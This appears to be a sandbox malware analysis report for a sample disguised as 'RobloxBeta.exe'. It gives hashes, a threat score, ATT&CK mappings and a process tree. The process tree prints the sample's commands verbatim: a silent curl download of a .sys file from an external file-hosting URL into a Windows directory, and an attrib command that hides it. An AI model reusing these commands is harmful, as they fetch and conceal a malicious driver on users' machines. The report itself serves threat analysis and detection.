e97ae04496b65d51e17302d6e77de2a221620a89fae7a4029f2e20b278cd472a

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/05/2026, 15:54

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General

Target
RobloxBeta.exe
Size 1.4MB
Sample260505-tcatdaft5n
SHA256 e97ae04496b65d51e17302d6e77de2a221620a89fae7a4029f2e20b278cd472a
MD5 2aa7e4e4bebb469a4abba663d5ff964a
SHA1 a857bd913650801a70a7fa1b8f12bf1bc47feeaf
SHA512 01d67f133612cf0af8f61af5bd900c2bc749b33cfeacf72dfb76e80cb49dd0ff7c9bbc60f706922eceacb19c63b5fdf5bb5280682ad6d03c13fb194ba9af2ce7
SSDEEP 24576:4Q8zTyoxKcsoNtLPf2gGX9xjiAzi2n2sLVoeL/Ts7gSWrmaD238Eu/xPHEatpmm:GyoxKgGgGX9xjZu2nNLuk/ggjf1Er
TLSH
T1EF659EA2F3EC5586E02774389B45690FA23570280310A7E77F99095D8BBEDE0CB7EB51
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	3156	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
4740	PhQGHuME.sys

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4476	cmd.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Branding\Basebrd\PhQGHuME.sys	attrib.exe
File created	C:\Windows\Fonts\fa-solid-900.ttf	RobloxBeta.exe
File created	C:\Windows\Branding\Basebrd\PhQGHuME.sys	curl.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3488	RobloxBeta.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 4860	3488	RobloxBeta.exe	80
PID 3488 wrote to memory of 5036	3488	RobloxBeta.exe	81
PID 3488 wrote to memory of 4872	3488	RobloxBeta.exe	82
PID 4872 wrote to memory of 3156	4872	cmd.exe	83
PID 3488 wrote to memory of 4476	3488	RobloxBeta.exe	84
PID 4476 wrote to memory of 4980	4476	cmd.exe	85
PID 3488 wrote to memory of 2904	3488	RobloxBeta.exe	86

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4980	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RobloxBeta.exe
"C:\Users\Admin\AppData\Local\Temp\RobloxBeta.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\PhQGHuME.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/4jdffy.sys --output C:\Windows\Branding\Basebrd\PhQGHuME.sys
    3⤵
    - Downloads MZ/PE file
    - Drops file in Windows directory
    PID:3156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s C:\Windows\Branding\Basebrd\PhQGHuME.sys >nul 2>&1
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Windows\Branding\Basebrd\PhQGHuME.sys
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2904

C:\Windows\Branding\Basebrd\PhQGHuME.sys
C:\Windows\Branding\Basebrd\PhQGHuME.sys
1⤵
- Executes dropped EXE
PID:4740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

PhQGHuME.sys

Path C:\Windows\Branding\Basebrd\PhQGHuME.sys
Size 34KB
SHA256 c05f1f9a5c2128cbc0eef83082fc35e096819b3e23f43d115c349420a3091fc7
MD5 616f7921405c597c82489b48ec070913
SHA1 01dcc7cf78f22e1012324c964dd5f975d925698c
SHA512 61b4f6e56a15eeda6e9a5fe11ac73de96530c26ae36581e14da8e524e7f7c9f0d16d83397c8c3d17b45f0b91dc54d33ccf206983318c7b7d36dfa542568dd632
SSDEEP 384:oWNPUNN8/9cwcLMQc6wiNWL1fLJ93LZeXWfE90t6f5tirzRgCXKUHeMA/:o38W5LM96wiNWRfN93Q/PqdgCU
TLSH
T1E1F2F873A28E78ACC8CA793993416DD69FBEF7B51680525958A8C008D9D0330377DBF6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3488-7-0x000001EA12B20000-0x000001EA12BC3000-memory.dmp

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memory/3488-6-0x00007FF7ADB30000-0x00007FF7ADC9E000-memory.dmp

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memory/3488-25-0x000001EA12B20000-0x000001EA12BC3000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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